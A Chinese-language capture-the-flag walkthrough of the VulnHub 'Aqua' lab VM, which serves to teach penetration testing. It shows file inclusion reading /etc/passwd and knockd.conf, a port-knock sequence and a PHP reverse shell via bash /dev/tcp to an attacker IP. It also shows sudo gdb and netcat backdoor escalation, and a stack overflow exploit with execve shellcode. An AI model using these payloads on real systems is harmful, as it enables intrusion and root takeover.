Vulnlab_AQUA靶机渗透笔记
靶机下载地址:
https://www.vulnhub.com/entry/aqua-1,419/
该靶机是《为美好的世界献上祝福》动漫的主题靶场,我非常喜欢这个动漫,所以第一时间发现后就下来打打了,让我们一起来攻略它吧!
描述:
难度 : 中级 ~ 困难 有一种方式可以获取低权限用户,有两种方式可以获取 root shell。 使用更简单的方式获得root:使用你拥有的任何东西
以更艰难的方式获取 root 权限:仅使用 /root/ 中的内容
虚拟机 OVA - 虚拟盒子
Linux操作系统
联网
DHCP 服务:已启用
IP地址:自动分配
环境配置
kali(vmware) ip:192.168.91.129(NAT) ip:192.168.228.4(仅主机)
Bulldog靶机(virtualbox)
kali配置了两张网卡,其中一张仅主机的网卡和靶机vitualbox相连。
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠
主机发现
nmap扫描网段信息
成功发现靶机ip:192.168.228.24
信息搜集
nmap扫描靶机信息
nmap -sV -O -p- -T4 192.168.228.24
可以看到靶机开启了80的apache服务,139,445端口是smb服务,21端口是ftp但是显示的是filtered(过滤)。
由于靶机开启了SMB服务,可以用enum4linux进行扫描看看有没有共享目录可以利用
使用enum4linux进行扫描
#安装enum4linux
sudo apt-get install enum4linux
enum4linux -a -o 192.168.228.24
没有什么可以利用的信息,但是发现了两个本地用户,aqua(阿库娅)和megumin(惠惠)
尝试浏览器访问web界面:
http://192.168.228.24/
刚打开web界面的时候快给我笑死了,页面上是一张gif动图,阿库娅的颜艺表情
翻译一下页面中的文字:
帮帮我!我的电脑被Megumin(慧慧)黑了,我失去了对电脑密码的访问权限!如果你帮助我,我会告诉关于惠惠的一切,这样你就可以帮我黑回她。请??…
(我去,慧慧什么时候有这个技能了,爆裂魔法不学学hack是吧,还有阿库娅这脑子学的会这个。。。)
点击中间的Sure,l'll help
,帮助阿库娅,跳转到/yes.html,显示如下gif图片和文字,
翻译文本信息,在页面中得知慧慧的密码日记密码是megumin:watashiwamegumin
,
这是把把慧慧的密码告诉了和真了吗,看着阿库娅这张脸我真的快蚌埠住了。
点击中间的Nope, I’ll pass
,不帮助笨蛋阿库娅,跳转到/no.html页面,显示如下页面
ok,没有什么有用的信息,还给阿库娅搞自闭了,返回首页
既然没有什么有用的就开始进行目录扫描看看有什么有用的信息
子域名目录爆破
dirsearch -u http://192.168.228.24
虽然扫描到了一些信息,感觉信息有点不够,换个工具继续扫描
再换个工具gubuster进行扫描,并制定一些参数来发现有没有php和html之内的页面。
gobuster dir -u http://192.168.228.24/ -w /root/桌面/Dict/fuzzDicts-master/subdomainDicts/main.txt -x php,html,txt,bak
扫描到了一些目录,再使用dirb进行扫描:
dirb http://192.168.228.24 /usr/share/dirb/wordlists/big.txt
dirb发现目录后,自动对目录进行进一步扫描了,但是也咩有什么特别有用的信息,倒是扫到了一些二级目录
/deployment/production/和/meow/images/和/manual/da/和manual/en/等等,不过manual应该是控制页面语言的,应该没有什么有用的这里忽略。
结合几个工具,排除重复的,扫描到的网页有index.php、home.php、login.php、welcome.php、no.html和yes.html扫描到的目录包括/images、/css、/manual、/deployment和/meow
对/deployment进行进一步扫描
gobuster dir -u http://192.168.228.24/deployment -w /root/桌面/Dict/gobuster字典/subdomains-top100000.txt -x php,html,txt,bak
可以看到除了/production,还发现了一些php页面,/notes.php,/hello.php
对/meow进行进一步的扫描
gobuster dir -u http://192.168.228.24/meow -w /root/桌面/Dict/gobuster/subdomains-top100000.txt -x php,html,txt,bak
可以看到除了images文件夹还有/index.php页面。
对/deployment/production目录进一步进行扫描
gobuster dir -u http://192.168.228.24/deployment/production -w /root/桌面/Dict/gobuster/subdomains-top100000.txt -x php,html,txt,bak
发现还有个meow.txt文件
总结下可能有用的页面,浏览器挨个进行访问:
http://192.168.228.24/login.php
http://192.168.228.24/home.php
http://192.168.228.24/welcome.php
http://192.168.228.24/meow
http://192.168.228.24/meow/images/
http://192.168.228.24/meow/index.php
http://192.168.228.24/deployment/notes.php
http://192.168.228.24/deployment/hello.php
http://192.168.228.24/deployment/production/meow.txt
访问页面
访问:http://192.168.228.24/meow/,发现几张损毁的图片。
http://192.168.228.24/meow/index.php和他一个界面
访问: http://192.168.228.24/meow/images/发现没有权限
访问下其他扫到的网页,看一下welcome.php,发现就是比首页页面多了个Meoww,其他没有变化
访问home.php,发现跳转到login.php,在首页看到了慧慧结合标题Megumin Secret Diary(慧慧的秘密日记),下面很大一段字是应该是慧慧放魔法时候吟唱的咒语,翻译一下(太中二了,好羞耻),中间还有用户名和密码的输入框,集合在首页阿库娅给的用户名和密码,可以知道这里应该用得上
比黑色更黑,比黑暗更暗的漆黑,在此寄宿吾真红的金光吧,觉醒之时的到来,荒谬教会的堕落章理,成为无形的扭曲而实现吧,起舞吧,起舞吧,起舞吧,吾之力量本源之愿的崩坏,无人可及的崩坏,将天地万物焚烧殆尽,自深渊降临吧,这就是人类最强威力的攻击手段,这就是,究极攻击魔法,Explosion!
输入用户名和密码:megumin:watashiwamegumin
(这里密码还有日语音译的彩蛋,watashiwamegumin
(我是慧慧),真有意思)
点击Submit成功登录,跳转到/home.php?showcase=index.php
一进来就看看可爱的猫猫,上面还有一大串文字Welcome to my secret lair! Muahahaha…(欢迎来到我的秘密巢穴!木哈哈哈哈哈)
稍微查看一下,发现全是猫,除此之外没别的了,慧慧这么喜欢猫的吗
检查网页url这里,猜测可能有文件包含,去掉后面的?showcase=index.php
,直接访问home.php,发现显示为空,访问源代码,也没有什么有用的信息
/deployment/production/
目录下存在文件meow.txt,访问看一下,发现了一段字,结合之前的猫猫,应该是一段猫叫。。。
结合这些信息,可以猜测,前面的几张猫猫图片和之前访问meow页面损毁的应该有联系,应该是猫猫的图片存在meow文件夹下。(因为进一步访问/meow/images显示没权限,这里meow页面损毁的应该是我没权限的原因)
访问http://192.168.228.24/deployment/notes,发现一段慧慧写的文字,大意叫我不要删除
Please do not delete the /var/www/html/deployment/production/ directory - Megumin the hacker
请不要删除 /var/www/html/deployment/production/ 文件夹 - 慧慧黑过
访问/deployment/hello.php页面,网页显示为空,源码信息与home.php相同
漏洞利用
重新在login页面登录跳转到home页面(就是有很多猫猫的那个),看看有没有文件包含漏洞可以利用,使用路径穿越,看看能不能包含/etc/passwd,执行后发现成功读取到了。确定这里有文件包含漏洞存在
发现文件包含的时候,就要考虑能不能写入一句话木马,一般想要获取webshell是通过包含apache或nginx的日志文件,并通过抓包修改请求写入木马,这里尝试了伪协议,php://input但是失败了。
这里不知道咋办了,网上搜索后得知,之前nmap扫描到的FTP协议有个过滤可以作为突破点。他使用的是Knock技术将端口进行了处理。
1.knockd技术
参考:https://blog.csdn.net/weixin_51339377/article/details/128459954
将服务器隐藏起来、不让黑客看见的一种方法是使用knockd。knockd是一种端口试探服务器工具。
它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据包来启动端口命中。port knock(端口敲门)是一种端口过滤技术,通过进行配置对特定的服务进行过滤,访问者可以通过按一定的顺序knock指定的端口来开启被过滤的端口,管理员定义一个端口序列(例如:7000, 8000, 9000),作为敲门序列。也可以逆序进行knock重新关闭该端口。
这种技术的优点在于,它提供了一种额外的安全层,因为只有在正确的端口顺序被“敲门”后,目标端口(如SSH端口)才会对外开放。这增加了攻击者通过常规手段直接访问受保护服务的难度,从而提高了网络的安全性
而knockd的配置文件,就在/etc/knockd.conf中
通过home页面的文件包含漏洞,将knockd.conf的信息读取下来,可以发现端口knock序列为1234、5678、9012
逆序进行knock重新开启关闭端口
2.knock开启端口
kali安装knock
sudo apt-get install knock
输入如下命令,使目标主机的FTP端口开启
nc -z 192.168.228.24 1234 5678 9012
再进行nmap扫描目标主机,可以发现此时的ftp端口已经被开启,而且允许匿名登录。
nmap -A -p21 168.228.24
在这里插入图片描述
输入如下使用lftp工具进行匿名登录
sudo apt-get install lftp
lftp 192.168.228.24
包含是使用的网页,用户应该是www-data,其密码未知,而根据之前包含的/etc/passwd中的信息,megumin用户的家目录就在/var/www/html下,根据之前包含的/etc/passwd中的信息,megumin用户的家目录就在/var/www/html
使用阿库娅给的密码进行登录到慧慧的账户中
user megumin
密码:watashiwamegumin
查看一下文件信息,发现了hello.php,结合之前在/deployment目录下扫描到的hello.php,这里应该是在网页的/var/www/html/deployment下,这里有写权限。
Getshell
cd到production目录,尝试上传一个文本文件,发现用户megumin对家目录production具有写的权限,准备上传反弹shell
#构造反弹shell木马,保存至php文件,上传到目标主机目录(下面的脚本Windows和linux通用)
<?php
system("bash -c 'bash -i >& /dev/tcp/192.168.228.4/8088 0>&1'")
?>
kali开启nc监听:
nc -lvnp 8088
浏览器访问反弹shell的php,kali成功反弹webshell
http://192.168.228.24/deployment/production/fantan.php
发现是www-data用户,需要进行提权操作。
这里也可以使用msf进行反弹的连接
msfconsole
use exploit/multi/handler
set payload linux/x86/shell/reverse_tcp
show options
set lhost 192.168.228.4
set lport 8088
run
提权
提升到交互式的shell
script /dev/null -c bash
#键盘 CTRL+Z
stty raw -echo; fg
reset xterm
#键盘输入 ENTER
cd到home目录下,ls查看发现有用户aqua,进入Desktop成功发现user.txt。还有两个文件backdoor和sourcecode,看英文意思应该是后门和源码
查看user.txt。发现慧慧的点阵图头像,挺可爱。
成功拿到user.txt下的flag
404CDD7BC109C432F8CC2443B45BCFE95980F5107215C645236E577929AC3E52
看作者在user文件留下的提示说有两种方法可以提权到root,下面就来尝试下
首先查看下目录下的backdoor文件,发现文件backdoor是以aqua用户执行nc shell的命令
#!/bin/bash
echo "[+] Backdoor opened! Hehehe..."
runuser -l aqua -c 'nc -lvnp 1337 -e /bin/sh' &>/dev/null
根据之前FTP确认的信息,直接su到megumin
sudo -l发现可以sudo执行aqua家目录下的backdoor命令,应该是慧慧留在阿库娅用户的后门,使用sudo命令执行。提示后门已经开启
sudo /home/aqua/Desktop/backdoor
根据backdoor提示的信息,kali中开启nc监听指向靶机1337端口
nc 192.168.228.24 1337
进来了,提升至交互型shell
script /dev/null -c bash
GDB漏洞提权
GDB的安装可以查看如下文章:
https://blog.csdn.net/Bossfrank/article/details/130213456
https://zhuanlan.zhihu.com/p/129837931
这里靶机明显是安装了GDB的,输入gdb可以发现进入了gdb命令行
sudo -l查看,有三条sudo命令可以执行,其中第三条qdb可以进行提权操作
使用sudo gdb -q
进入gdb命令行,执行!bash
,输入id发现成功提权至root用户
sudo gdb -q
!bash
进入/root用户目录,cat查看root.txt成功拿到root用户的flag
顺带还附赠了慧慧的巨型点阵图
root.txt这里有个提示,作者让解码这条信息
Need some hint on the harder way of getting root? Decode this : RG8gbm90IHVzZSAvdXNyL3NoYXJlL2dkYiBpbiB0aGUgc3Vkb2VycyBmaWxl
#很明显是用base64编码的,解码后得到如下信息:
Do not use /usr/share/gdb in the sudoers file
这句话的意思是不要在 sudoers 文件中使用/usr/share/gdb
缓冲区溢出漏洞提权
缓冲区溢出漏洞原理参考如下文章:
https://www.freecodecamp.org/chinese/news/buffer-overflow-attacks/
下面来具体利用一下:
因为之前在aqua用户sudo -l可以发现还有其他两个命令,/root/quotes和/root/esp
回到aqua用户那一步
sudo /root/quotes
让我们输入名字,随便输入一个尝试,输出了一段话,意义不明
sudo /root/quotes migue17
执行如下命令使用python输出100个A,查看一下是否有错误信息输出,如果有的话就说明有缓冲区溢出漏洞。
sudo /root/quotes $(python3 -c "print('A'*100)")
结果输出Segmentation fault(分段故障),说明这里有缓冲区溢出漏洞,可以利用它来提权。
这里用到一个调试工具,PEDA是一个用于GDB的Python漏洞开发辅助工具。它提供了许多增强GDB功能的特性,以支持调试和漏洞开发。PEDA是为GDB设计的一个强大的插件,全称是Python Exploit Development Assistance for GDB。
其实就是GDB的插件,源码地址:https://github.com/longld/peda
之前给的文章里也有说明如何安装。(安装这个之前一定要先安装好GDB)
#安装
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
echo "DONE! debug your program with gdb and enjoy"
或者
pip install peda
这里输入gdb,进入命令行,说明靶机上安装了gdb,但是输入gdb-peda,发现没有安装peda插件,这里需要在靶机进行安装,这就麻烦了,靶机我是安装到vitualbox上的设置为仅主机模式不能联通外网。
想到可以在kali上下载安装好gdb后上传至靶机进行安装,但是考虑到靶机的文件有关联性,就没有进行尝试,这里突然想到Desktop下有个叫sourcecode的文件夹,貌似是源码,cd过去后查看,发现是一个download文件,内容指向一个连接地址,浏览器打开后,发现果然是控制上面程序的源码。
给他拷贝下来,放到一个文件中改成c格式,kali安装好gdb和相关插件后,在kali上进行调试,这里我的kali机器是安装好了gdb-peda,实际安装过程中踩了不少坑,安装前记得打好快照。
把下载好的文件进行编译
使用 -g
选项编译,以生成包含调试信息的可执行文件
gcc -g quotes.c -o quotes
启动 gdb 并加载 peda
gdb-peda quotes
#进入gdb命令行后输入如下进入调试界面
set logging enabled on #启用日志
start
这里进行调试的目的就是为了查看在覆盖记录(缓冲区溢出)之前需要多少个字符
peda插件的常用命令:
在 gdb 中使用 peda 提供的各种命令进行调试,例如:
peda_init - 初始化 peda
context - 显示当前程序状态
break - 设置断点
run - 运行程序
step - 单步执行
continue - 继续执行程序
print - 打印变量值
dump - 转储内存区域
hex - 以十六进制格式显示内存
你可以在 gdb 提示符下输入 help 查看更多可用的 peda 命令。常用 gdb-peda 命令:
context - 显示当前程序状态,包括寄存器、堆栈、反汇编等信息
pattern_create - 生成一个独特的模式字符串,用于检测缓冲区溢出
pattern_search - 在内存中搜索模式字符串,找到缓冲区溢出的位置
vmmap - 显示进程的内存映射
checksec - 检查程序的安全机制,如 NX、RELRO、Canary 等
使用pattern_create写入50个字符串,检测缓冲区溢出
pattern_create 50 pattern
查看
run $(cat pattern)
在这里插入图片描述
通过以上调试可知,我们要把 EIP 传递给程序,需要 44 个字符才能覆盖
执行:pattern offset 0x41414641
成功输出44个
#使用 info functions命令查看,输出以下内容:
Non-debugging symbols:
0x08048364 _init
0x080483a0 printf@plt
0x080483b0 time@plt
0x080483c0 strcpy@plt
0x080483d0 puts@plt
0x080483e0 exit@plt
0x080483f0 srand@plt
0x08048400 __libc_start_main@plt
0x08048410 rand@plt
0x08048430 _start
0x08048460 __x86.get_pc_thunk.bx
0x08048470 deregister_tm_clones
0x080484a0 register_tm_clones
0x080484e0 __do_global_dtors_aux
0x08048500 frame_dummy
0x0804852b main
0x080485fc getname
0x08048630 __libc_csu_init
0x08048690 __libc_csu_fini
0x08048694 _fini
0xb7ff48ed __x86.get_pc_thunk.si
0xb7ff48f1 __x86.get_pc_thunk.di
0xb7ff48f5 __x86.get_pc_thunk.bp
0xb7ff48f9 __x86.get_pc_thunk.cx
0xb7fdb810 __libc_memalign@plt
0xb7fdb820 malloc@plt
0xb7fdb830 calloc@plt
0xb7fdb840 realloc@plt
0xb7fda730 __vdso_clock_gettime
0xb7fdaa00 __vdso_gettimeofday
0xb7fdab80 __vdso_time
0xb7fdabb4 __kernel_sigreturn
0xb7fdabc0 __kernel_rt_sigreturn
0xb7fdabc8 __kernel_vsyscall
0xb7e206b0 _Unwind_Find_FDE@plt
0xb7e206c0 realloc@plt
0xb7e206e0 memalign@plt
0xb7e20710 _dl_find_dso_for_object@plt
0xb7e20720 calloc@plt
0xb7e20730 ___tls_get_addr@plt
gdb-peda$
从上述 Non-debugging symbols 列表中可以看到一些有趣的信息:
函数符号
__main, getname
等是程序中的主要函数。
__libc_start_main@plt, __libc_csu_init, __libc_csu_fini
等是 libc 库中的一些初始化和收尾函数。外部库函数
__printf@plt, time@plt, strcpy@plt, puts@plt, srand@plt, rand@plt
等是程序调用的一些常见的 libc 库函数。初始化和终止函数
_init, _start, deregister_tm_clones, register_tm_clones, __do_global_dtors_aux, frame_dummy, _fini
等是程序初始化和终止时调用的一些函数。
其他符号
__x86.get_pc_thunk.*
是一些用于 x86 体系结构下获取程序计数器的辅助函数。
__vdso_*
是 Linux 内核提供的一些系统调用的 vDSO (virtual dynamic shared object) 函数。
___tls_get_addr@plt
是用于获取线程局部存储的函数。
这里虽然是调试出来了,但是不知道,如何在靶机上执行,就先这样吧。
后续
源码文件https://github.com/yunaranyancat/personal_projects/tree/master/project_9
通过下载下来的源码文件可知,可能存在漏洞的地方是在getname方法中,该方法使用了strcpy。如果我们输入的名称长度超过缓冲区的大小,则可能会破坏内存,从而可以利用缓冲区溢出漏洞获取 shell。
输入lsb_release -a
查看靶机环境,制作一个与目标操作系统完全相同的调试虚拟机。目标操作系统正在使用Linux Lite 3.8 32 位。
Linux Lite 3.8 32 位
可以在这里下载进行安装
https://mirrors.sjtug.sjtu.edu.cn/linuxliteos/isos/3.8/
安装好gdb和相应的插件后,下载源码文件导入创建好的虚拟机进行调试
以 root 身份下载quotes.c和esp.c的源代码,然后使用非 root 用户进行调试。
默认情况下,ASLR是启用的。要禁用ASLR,请运行以下命令。
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
不禁用ASLR的话执行./esp就会显示不同的地址信息。
进行编译:
esp.c : gcc -fno-stack-protector -z execstack -no-pie esp.c -o esp
quotes.c ; gcc -fno-stack-protector -z execstack -no-pie quotes.c -o quotes
#-fno-stack-protector这选项就是把gcc栈保护的措施去除,防止调试过程中爆** stack smashing detected ***: /root/quotes terminated
不设置-fno-stack-protector就会这样,断在这里,GCC有一种针对缓冲区溢出的保护机制,可通过选项“-fno-stack-protector”来将其关闭。
然后授予非 root 用户 sudo 权限来执行二进制文件并开始调试。
sudo /root/esp
sudo /root/esp
sudo /root/quotes
sudo /root/quotes hello
sudo /root/quotes $(python -c 'import sys;sys.stdout.write("A"*100)')
在 gdb 中打开二进制源文件sudo gdb-peda -q /root/quotes
(这里的gdb我是安装后调了的,具体请看安装peda插件的那篇博客)
使用反汇编主程序disas main
。
换个背景色,使用反汇编 getname 函数disas getname
,可以看到方法strcpy正在被调用
尝试缓冲区溢出调试,
运行溢出代码:r $(python -c 'import sys;sys.stdout.write("A"*100)')
,它将打印出 100 个 A 并将其解析为程序的名称变量。
可以看到程序成功覆盖了EIP。我们要找到EIP的偏移量,需要使用一组独特的字符串。由于 peda 具有此功能,因此我们可以直接使用它。
通过运行创建一个包含 100 个字符的模式。这会将该模式存储在名为patpattern_create 100 pat
的文件中。
重新运行程序并将模式解析为名称参数。
使用peda 中的pattern_search命令。我们将找到 EIP 的偏移量,即44。
编写pyload:
格式:
A*44 + [EIP] + 填充 + shellcode
为了验证偏移量是否正确,我们需要更改缓冲区:
gdb-peda$ r $(python -c 'import sys;sys.Stdout.write(("A"*44) + ("B"*4) + ("\x90"*32) + ("C"*23))')
为了填充,添加32 个字节的 NOP(无操作操作码),这样它就不会执行任何操作,并继续滑到下一个操作码,直到到达我们的 shellcode。这个技术称之为NOP slides
如下所示,在执行 EIP 之后**,我们的NOP位于ESP指向的堆栈顶部。根据之前反汇编的getname方法,最后一条指令是**ret。
如果顺利的话,程序执行ret,EIP指向的地址内的操作码就会被执行,导致执行shellcode
所以,我们需要将NOPsleds所在的地址放入我们用户控制的EIP中
因此让我们在ret指令处设置一个断点,并查看执行时的堆栈。
设置断点成功,再次执行之前的payload,成功断到ret的地方
如图所示,到达了ret的断点,现在,我们可以用 shellcode 替换填充后的 C源代码,shellcode如下
*****************************************************
* Linux/x86 execve /bin/sh shellcode 23 bytes *
*****************************************************
* Author: Hamza Megahed *
*****************************************************
* Twitter: @Hamza_Mega *
*****************************************************
* blog: hamza-mega[dot]blogspot[dot]com *
*****************************************************
* E-mail: hamza[dot]megahed[at]gmail[dot]com *
*****************************************************
xor %eax,%eax
push %eax
push $0x68732f2f
push $0x6e69622f
mov %esp,%ebx
push %eax
push %ebx
mov %esp,%ecx
mov $0xb,%al
int $0x80
********************************
#include <stdio.h>
#include <string.h>
char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}
里可以填充如反弹shell之类的
使用修改后的有效负载重新运行程序,并在方法末尾放置一个断点getname
。
一旦我们到达断点,运行c
即可继续执行。
现在退出gdb,在 gdb 之外运行二进制文件,并放入我们的shellcode
直接获得了root权限,至此但是这是调试机器gdb中的
最难的部分来了,我们调试的gdb机器和目标机器的ESP目前并不完全相同。这意味着我们需要一点一点地修改我们的EIP地址,直到它到达正确的位置。
调试机ESP地址:0xbffffbe0 –> 地址A
调试机EIP地址:0xbffff330 –> 地址I
Aqua 机器 ESP 地址:0xbffffc30 –> 地址 B
Aqua 机器 EIP 地址:? –> 地址 II
可以看到B > A ,这意味着II > I是可能的
之前的nc反弹shell的kali上运行shellcode
持续执行,慢慢地将地址 I增加10h
成功提权。总算成功了,我去,中间踩了无数坑。。。。。。。。。。
总结:
靶机用到kncokd技术,没有提示的情况下这个一时半会难以想到,算是个难点,通过和靶机上的文件包含漏洞结合下载knockd的配置文件得到敲门序列,才能成功开启ftp上传反弹木马,成功获取webshell
还有难点,就是漏洞溢出提权方法,命令溢出漏洞的提权这个在靶机上测试困难。
总之这个靶机没有提示的情况下还是很困难的,不过由于是素晴主题的靶机,多少在打靶过程中增加了趣味感不至于太枯燥。